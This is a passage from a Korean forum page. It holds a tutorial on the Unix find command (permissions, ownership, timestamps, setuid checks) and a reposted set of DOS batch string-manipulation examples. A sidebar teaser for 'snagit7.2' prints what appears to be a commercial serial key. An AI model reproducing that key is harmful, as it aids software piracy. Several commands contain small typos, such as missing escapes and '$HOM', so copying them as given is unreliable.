\r\n결과가 없다면 명령어에 대한 에러를 내겠죠. \r\n(chmod 'null')과 같은 예..........\r\n\r\n# find /{home,usr/{src,local/src}} -nouser -o -nogroup -exec ls -l {} \; -print | more \r\n# find /{home,usr/{src,local/src}} -nouser -o -nogroup -print | xargs ls -l | more\r\n\r\n위의 2개의 명령어 대해서 직접 테스트 해보세요...\r\n\r\n전자의 경우, 아마 아무것도 출력되지 않을 겁니다.\r\n\r\n# find /{home,usr/{src,local/src}} ( -nouser -o -nogroup ) -exec ls -l {} \; -print | more\r\n\r\n위와 같이 해야 맞겠죠...(우선순위)\r\n\r\n후자의 경우도 마찬가지로 다음과 같이 우선순위를 정해놓아야 겠지요.. \r\n아마 원하는 출력이 이 경우일 것 같군요.\r\n\r\n# find /{home,usr/{src,local/src}} ( -nouser -o -nogroup ) -print | xargs ls -l | more\r\n\r\n\r\n3-2. 퍼미션 관련 예제\r\n\r\nothesrs에 쓰기(w:2) 권한이 있는 모든(-기호를 붙임) 파일 리스트를 찾을려면?\r\n\r\n# find `pwd` -perm -2 -print | xargs ls -l\r\n\r\n여기에서 2는 \r\n퍼미션이 -------w- 와 일치하는 파일이며 -의 의미는 rwx-중 하나.\r\n\r\n왜 2인가요? \r\n만약 퍼미션이 755 이라면,\r\n\r\n700 : rwx------ : user \r\n50 : ---r-x--- : group \r\n5 : ------r-x : others \r\n------------------------ \r\n755 : rwxr-xr-x : others는 읽기와 실행 권한\r\n\r\n따라서 others의 권한은 8진수로 5(r+x)이다.\r\n\r\n그렇다면, others가 쓰기(w:2) 권한은 당연히 -------w-\r\n\r\n그룹이나 others에게 쓰기 권한이 있는 파일일 경우\r\n\r\n-perm -20 -o -perm -2\r\n\r\n그룹과 others에게 모두 쓰기 권한이 있는 파일일 경우\r\n\r\n-perm -22\r\n\r\n[others에게 w 권한이 있는 파일에 w 권한 없애기]\r\n\r\n방법1) \r\n1. others에게 w 권한이 있는 파일 리스트 출력\r\n\r\n# find `pwd` -perm -2 -print | xargs ls -l | more \r\n(만약 매치되는 리스트가 없다면 전부 출력함)\r\n\r\n2. others에게 w 권한을 없애기\r\n\r\n# find `pwd` -perm -2 -print | xargs chmod o-w \r\n(만약 매치되는 리스트가 없다면 chmod에 에러를 냄)\r\n\r\n방법2) 방법1)의 과정을 한꺼번에 할 경우\r\n\r\n# find `pwd` -perm -2 -exec chmod o-w {} \; -print | xargs ls -l \r\n또는 \r\n# ls -l `find $(pwd) -perm -2 -print | xargs chmod o-rwx` | more\r\n\r\n이 경우는 퍼미션이 조정된 결과를 출력함.\r\n\r\n\r\n3-3. 유저와 관련된 예제\r\n\r\nUID와 GID에 대한 유저가 없는 파일을 root.root로 바꾸어 보죠.\r\n\r\n1) 먼저 리스트를 출력해 보자.(확인해야하니깐)\r\n\r\n# find . ( -nouser -o -nogroup ) -print | xargs ls -l | more\r\n\r\n2) 확인했으면, chown root.root 명령을 내리자.\r\n\r\n# find . ( -nouser -o -nogroup ) -print | xargs chown root.root | more \r\n또는 \r\n# find . ( -nouser -o -nogroup ) -exec chown root.root {} \; -print | xargs ls -l \r\n(chown root.root 의 결과를 ls -l)\r\n\r\n\r\n3-4. 유용한 팁\r\n\r\n*주의) *********************************************** \r\n-a'xxxx' \r\n'xxxx'에 대한 Access(접근), 읽기 \r\n-c'xxxx' \r\n'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우에도 변경됨 \r\n-m'xxxx' \r\n'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우 \r\n*****************************************************\r\n\r\n- 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)?\r\n\r\n# find / -ctime -1 -a -type f | xargs ls -l | more\r\n\r\n- 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)?\r\n\r\n# find / -mtime +30 -print | more\r\n\r\n- 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)?\r\n\r\n# find / ! ( -atime -30 -a ( -type d -o -type f ) ) | xargs ls -l > not_access.list\r\n\r\n- 자신의 홈디렉토리에서 만 검색하려면?\r\n\r\n# find $HOM ... \r\n또는 \r\n# find ~root ...\r\n\r\n- 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면?\r\n\r\n# find . -prune ...\r\n\r\n- 특정 유저(foobar) 소유의 파일을 찾을려면?\r\n\r\n# find / -user foobar -print | more\r\n\r\n- 퍼미션이 777인 파일을 찾을려면 ?\r\n\r\n# find / -perm 777 -print | xargs ls -l | more\r\n\r\n- others에게 쓰기 권한이 있는 파일을 찾을려면?\r\n\r\n# find / -perm -2 -print | xargs ls -l | more\r\n\r\n- others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면?\r\n\r\n# find / -perm -2 -print | xargs chmod o-w \r\n또는 \r\n# find / -perm -2 -exec chmod o-w {} ; -print | xargs ls -l | more\r\n\r\n- 유저이름과 그룹이름이 없는 파일을 찾을려면?\r\n\r\n# find / ( -nouser -o -nogroup ) -print | more\r\n\r\n- 빈 파일을 찾을려면?\r\n\r\n# find / -empty -print | more \r\n또는 \r\n# find / -size 0 -print | more\r\n\r\n- 파일크기가 100M 이상된 파일을 찾을려면?\r\n\r\n# find / -size +102400k -print | xargs ls -hl\r\n\r\n- *.bak 파일을 찾아 지울려면?\r\n\r\n# find / -name "*.bak" -exec rm -rf {} ;\r\n\r\n- *.bak 파일을 찾아 특정 디렉토리로 옮길려면?\r\n\r\n# mv `find . -name "*.bak"` /home/bak/\r\n\r\n- 디렉토리 만 찾을려면?\r\n\r\n# find . -type d ...\r\n\r\n- root권한으로 실행되는 파일을 찾을려면?\r\n\r\n# find / ( -user root -a -perm +4000 ) -print | xargs ls -l | more\r\n\r\n- 다른 파일시스템을 검색하지 않을려면?\r\n\r\n# find / -xdev ...\r\n\r\n- 파일이름에 공백이 들어간 파일을 찾을려면?\r\n\r\n# find / -name "* *" -print\r\n\r\n- 숨겨진(hidden) 파일을 찾을려면?\r\n\r\n# find / -name ".*" -print | more\r\n\r\n- 같은 이름을 가진 디렉토리를 찾을려면?\r\n\r\n# find / -type d -print | awk -F/ '{printf("%st%sn",$NF,$0);}' | sort| more \r\n*주)'O'Reilly Unix Power Tools' 참고\r\n\r\n- 잘못된 링크를 찾을려면?\r\n\r\n# find . -type l -print | perl -nle '-e || print' | xargs ls -l \r\n*주)'O'Reilly Unix Power Tools' 참고\r\n\r\n3. 현재 디렉토리 아래에서 첫글자가 영어 대문자인 모든 파일 검색\r\n\r\n # find . -name '[A-Z]*'\r\n\r\n \r\n\r\n4. 현재 디렉토리 아래에서 'worldtop'이라는 사용자 소유의 파일을 찾을 경우\r\n\r\n # find . -user worldtop\r\n\r\n \r\n\r\n5. 자신의 홈 디렉토리에서 최근 3일 동안 변경된 파일을 찾을 경우\r\n\r\n # find ~ -mtime -3\r\n\r\n \r\n\r\n6. suid와 guid가 설정된 파일을 찾아서 권한 확인(cracker의 침입이 의심스러운 경우)\r\n\r\n # find / -perm +6000\r\n\r\n # find / -type f -perm +6000 -ls\r\n\r\n \r\n\r\n7. 문자열 찾기 - 영어만 주로 가능 \r\n # grep -rw 찾는문자열 ./

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

    http://blog.daum.net/inpl/264\r\n================\r\n영어로 되어 있지만 예제가 있어 어렵지 않게 해석 가능\r\n \r\nAlign Right - Align text to the right i.e. to improve readability of number columns\r\n\r\nDescription: Add leading spaces to a string to make sure the output lines up. I.e. for variables no longer than 8 characters add 8 spaces at the front and then show only the last 8 characters of the variable.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\nset x=3000\r\nset y=2\r\nset x=        %x%\r\nset y=        %y%\r\necho.X=%x:~-8%\r\necho.Y=%y:~-8%\r\nScript Output: \r\n DOS Script Output\r\nX=    3000\r\nY=      2\r\nTOP\r\n2008-01-01\r\nLeft String - Extract characters from the beginning of a string\r\n\r\nDescription: Similar to the Left function in VB a batch script can return a specified number of characters from the left side of a string by specifying a substring for an expansion given a position of 0 and a length using :~ while expanding a variable content. The example shows how to return the first 4 characters of a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~0,4%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\npoli\r\nTOP\r\n2008-01-01\r\nMap and Lookup - Use Key-Value pair list to lookup and translate values\r\n\r\nDescription: This example shows an approach to map a name of a month into it`s corresponding two digit number. The key-value pairs are listed in the map variable separated by semicolon. Key and value itself are separated by one dash character. Same can be used to tranlate a day-of-the-week short string into a day-of-the-week long string by changing the map content only.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\n11.\r\n12.\r\n13.\r\n14.\r\n15.\r\n16.\r\n17.\r\n18.\r\nREM ---- Example 1: Translate name of month into two digit number ----\r\nSET v=Mai\r\n\r\nSET map=Jan-01;Feb-02;Mar-03;Apr-04;Mai-05;Jun-06;Jul-07;Aug-08;Sep-09;Oct-10;Nov-11;Dec-12\r\nCALL SET v=%%map:*%v%-=%%\r\nSET v=%v:;=&rem.%\r\n\r\nECHO.%v%\r\n\r\n\r\nREM ---- Example 2: Translate abbreviation into full string ----\r\nSET v=sun\r\n\r\nset map=mon-Monday;tue-Tuesday;wed-Wednesday;thu-Thursday;fri-Friday;sat-Saturday;sun-Sunday\r\nCALL SET v=%%map:*%v%-=%%\r\nSET v=%v:;=&rem.%\r\n\r\n  ECHO.%v%\r\nScript Output: \r\n DOS Script Output\r\n05\r\n  Sunday\r\nTOP\r\n2008-01-01\r\nMid String - Extract a Substring by Position\r\n\r\nDescription: Similar to the Mid function in VB a batch script can return a specified number of characters from any position inside a string by specifying a substring for an expansion given a position and length using :~ while expanding a variable content. The example here shows how to extract the parts of a date.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\necho.Date  : %date%\r\necho.Weekday: %date:~0,3%\r\necho.Month  : %date:~4,2%\r\necho.Day    : %date:~7,2%\r\necho.Year  : %date:~10,4%\r\nScript Output: \r\n DOS Script Output\r\nDate  : Sat 03/11/2006\r\nWeekday: Sat\r\nMonth  : 03\r\nDay    : 11\r\nYear  : 2006\r\nTOP\r\n2008-01-01\r\nRemove - Remove a substring using string substitution\r\n\r\nDescription: The string substitution feature can also be used to remove a substring from another string. The example shown here removes all occurrences of "the " from the string variable str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=the cat in the hat\r\necho.%str%\r\nset str=%str:the =%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\nthe cat in the hat\r\ncat in hat\r\nTOP\r\n2008-01-01\r\nRemove both Ends - Remove the first and the last character of a string\r\n\r\nDescription: Using :~1,-1 within a variable expansion will remove the first and last character of the string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~1,-1%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\noliti\r\nTOP\r\n2008-01-01\r\nRemove Spaces - Remove all spaces in a string via substitution\r\n\r\nDescription: This script snippet can be used to remove all spaces from a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=      word      &rem\r\necho."%str%"\r\nset str=%str: =%\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"      word      "\r\n"word"\r\nTOP\r\n2008-01-01\r\nReplace - Replace a substring using string substitution\r\n\r\nDescription: To replace a substring with another string use the string substitution feature. The example shown here replaces all occurrences "teh" misspellings with "the" in the string variable str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=teh cat in teh hat\r\necho.%str%\r\nset str=%str:teh=the%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\nteh cat in teh hat\r\nthe cat in the hat\r\nTOP\r\n2008-01-01\r\nRight String - Extract characters from the end of a string\r\n\r\nDescription: Similar to the Right function in VB a batch script can return a specified number of characters from the right side of a string by specifying a substring for an expansion given a negative position using :~ while expanding a variable content. The example shows how to return the last 4 characters of a string.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=politic\r\necho.%str%\r\nset str=%str:~-4%\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\npolitic\r\nitic\r\nTOP\r\n2008-01-01\r\nSplit String - Split a String, Extract Substrings by Delimiters\r\n\r\nDescription: Use the FOR command to split a string into parts. The example shows how to split a date variable into its parts.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\n11.\r\n12.\r\necho.-- Split off the first date token, i.e. day of the week\r\nfor /f %%a in ("%date%") do set d=%%a\r\necho.Date  : %date%\r\necho.d      : %d%\r\necho.\r\n\r\necho.-- Split the date into weekday, month, day, and year, using slash and space as delimiters\r\nfor /f "tokens=1,2,3,4 delims=/ " %%a in ("%date%") do set wday=%%a&set month=%%b&set day=%%c&set year=%%d\r\necho.Weekday: %wday%\r\necho.Month  : %month%\r\necho.Day    : %day%\r\necho.Year  : %year%\r\nScript Output: \r\n DOS Script Output\r\n-- Split off the first date token, i.e. day of the week\r\nDate  : Thu 12/02/2005\r\nd      : Thu\r\n\r\n-- Split the date into weekday, month, day, and year, using slash and space as delimiters\r\nWeekday: Thu\r\nMonth  : 12\r\nDay    : 02\r\nYear  : 2005\r\nTOP\r\n2008-02-26\r\nString Concatenation - Add one string to another string\r\n\r\nDescription: This example shows how to add two strings in DOS.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\nset "str1=Hello"\r\n  set "str2=World"\r\n\r\n  set "str3=%str1%%str2%"\r\n  set "str4=%str1% %str2%"\r\n  set "str1=%str1% DOS %str2%"\r\n\r\n  echo.%str3%\r\n  echo.%str4%\r\n  echo.%str1%\r\nScript Output: \r\n DOS Script Output\r\nHelloWorld\r\n  Hello World\r\n  Hello DOS World\r\nTOP\r\n2008-04-28\r\nTrim Left - Trim spaces from the beginning of a string via "FOR" command\r\n\r\nDescription: Use the FOR command to trim spaces at the beginning of a variable. In this example the variable to be trimmed is str.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=              15 Leading spaces to truncate\r\necho."%str%"\r\nfor /f "tokens=* delims= " %%a in ("%str%") do set str=%%a\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"              15 Leading spaces to truncate"\r\n"15 Leading spaces to truncate"\r\nTOP\r\n2008-01-01\r\nTrim Quotes - Remove surrounding quotes via FOR command\r\n\r\nDescription: The FOR command can be used to safely remove quotes surrounding a string. If the string does not have quotes then it will remain unchanged.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str="cmd politic"\r\necho.%str%\r\nfor /f "useback tokens=*" %%a in ('%str%') do set str=%%~a\r\necho.%str%\r\nScript Output: \r\n DOS Script Output\r\n"cmd politic"\r\ncmd politic\r\nTOP\r\n2008-01-01\r\nTrim Right - Trim spaces from the end of a string via "FOR" command\r\n\r\nDescription: Trimming spaces at the end of a variable seems a little tricky. The following example shows how to use a FOR loop to trim up to 31 spaces from the end of a string. It assumes that Delayed Expansion is enabled.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\nset str=15 Trailing Spaces to truncate              &rem\r\necho."%str%"\r\nfor /l %%a in (1,1,31) do if "!str:~-1!"==" " set str=!str:~0,-1!\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"15 Trailing Spaces to truncate              "\r\n"15 Trailing Spaces to truncate"\r\nTOP\r\n2008-01-01\r\nTrim Right - Trim spaces from the end of a string via substitution\r\n\r\nDescription: Trimming spaces at the end of a variable seems a little tricky. The following example shows how to use the string substitution feature to trim up to 31 spaces from the end of a string. It assumes that the string to be trimmed never contains two hash "##" characters in a row.\r\nscript: \r\n1.\r\n2.\r\n3.\r\n4.\r\n5.\r\n6.\r\n7.\r\n8.\r\n9.\r\n10.\r\nset str=15 Trailing Spaces to truncate              &rem\r\necho."%str%"\r\nset str=%str%##\r\nset str=%str:                ##=##%\r\nset str=%str:        ##=##%\r\nset str=%str:    ##=##%\r\nset str=%str:  ##=##%\r\nset str=%str: ##=##%\r\nset str=%str:##=%\r\necho."%str%"\r\nScript Output: \r\n DOS Script Output\r\n"15 Trailing Spaces to truncate              "\r\n"15 Trailing Spaces to truncate"

    profile_image

    다송송님의 댓글

    no_profile 다송송 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (39.♡.44.73) 작성일

    감사합니다 ^^


    새창 작성 수정 목록 링크 Edit G카랜다 HDD HDD HDD 게시물 주소 복사


    • 일간 조회수
        • 게시물이 없습니다.
    • 주간 조회수
        • 게시물이 없습니다.
    • 월간 조회수
        • 게시물이 없습니다.


    Total 1,125 / 52 Page
    [ bootice_v0.9(2011-0512)_ko.exe 사용법.설명usb 부팅방법 ]

    윈도우7 USER-PE 다운로드 : WIN7PE_WORLD_BEST_01.7z.torrent토렌트 다운로드 받으면 WIN7PE_WORLD_BES…

    [ 삼성 SSD830 사용 첫걸음,노턴고스트,SSD추천 ]

    삼성 SSD830 사용 첫걸음,노턴고스트,SSD추천blog.daum.net/salalakorea/12867491 - 저장된 페이지공개적으로 +1…

    [ 노트북 SSD HDD 교체 방법 설명 : 씨디맨의 컴퓨터이야기 ]

    노트북 SSD HDD 교체 방법 설명 : 씨디맨의 컴퓨터이야기‎ - 2011년 10월 9일cdmanii.com/ - 씨디맨의 컴퓨터이야기노트북 …

    [ 초보자를 위한 SSD 가이드(ver 1.0)_설정방법 ]

    초보자를 위한 SSD 가이드(ver 1.0) 작성자 : WinFix(inchoul) Win XP 정보공유카페 운영자(http://cafe.nav…

    [ 부팅 가능한 USB 드라이브 만들기 ]

    부팅 가능한 USB 드라이브 만들기메타 데이터의 끝으로 이동에 의해 추가마흐무드 알 - Qudsi하여, 마지막으로 편집한마흐무드 알 - Quds…

    [ morton ghost file dowload ]

    Homepc.11q.kr\r\n=============================http://translate.google.co.kr/tran…

    [ windows7 ghost백업 복원 ]

    출처http://m.blog.naver.com/PostView.nhn;jsessionid=BF0F468C4B74891A01CEBD87A6F81C…

    [ 원도우 멀티 부팅 나의 설정 pc /easybcd 한글 USB 외장HDD 부팅 ] 댓글 21

    Homepc.11q.kr=============================(1) 설치 정보설정 변경을 위하여 해당 멀티 부팅 기본 드라이브에 …

    [ EasyBCD 2.2.0.177 beta 한글 / 원도우 멀티부팅 ] 댓글 2

    한글화/프리웨어2012/05/29 21:55Trackback :0,Comment :1EasyBCD 2.2.0.177 beta 한글홈페이지 :ht…

    [ 원도우 7 그 새로운 세계로 Windows 7 USB에 넣어서 설치 나도 해보자 ] 댓글 2

    원도우\r\n7 그 새로운 세계로 Windows 7 USB에 넣어서 설치 나도 해보자 춮처http://moonbogy.tistory.com/25…

    [ windows xp usb booting disk 만들기(winsetupUSB이용) ] 댓글 9

    windows xp usb booting disk 만들기1) windows xp iso 파일을 구한다2) cd-rom으로 만들어 boot 되나 …

    [ 인터넷 연결 속도, 파일 전송량 작업 표시줄에서 모니터링 하는 방법 ]

    인터넷 연결 속도, 파일 전송량 작업 표시줄에서 모니터링 하는 방법: 인터넷 연결 속도, 파일 전송량 작업 표시줄에서 모니터링 하는 방법 인터넷…

    [ snagit7.2 ]

    Serial: 13EEB2B3E5D6D10F59 한글패치 암호: www.riders.ne.kr============================…

    [ 원도우 시작 자동 실행하기 만들기,윈도우 7에서 시작 프로그램을 추가/ 변경하는 방법 ]

    \r\n원도우 시작 자동 실행하기 만들기,윈도우 7에서 시작 프로그램을 추가/ 변경하는 방법\r\n\r\nhttp://translate.goog…



    ♥간단_메모글♥


    최근글


    새댓글



    PHP 안에 HTML ☞ 홈페이지 화면갱신 시간은 ♨
    ▶ 2024-11-05 06:20:36

    오늘의 홈 현황


    • 현재 접속자♨ 323 명
    • 오늘 가입자※ 0 명
    • 어제 가입자※ 3 명
    • 주간 가입자※ 8 명
    • 오늘 방문자 1,496 명
    • 어제 방문자 2,210 명
    • 최대 방문자 13,042 명
    • 전체 방문자 4,759,682 명
    • 전체 게시물※ 8,838 개
    • 전체 댓글수※ 25,183 개
    • 전체 회원수 11,298 명

    QR코드


    ☞ QR코드 스캔은 kakao앱 자체 QR코드

    알림 0








    최신글↑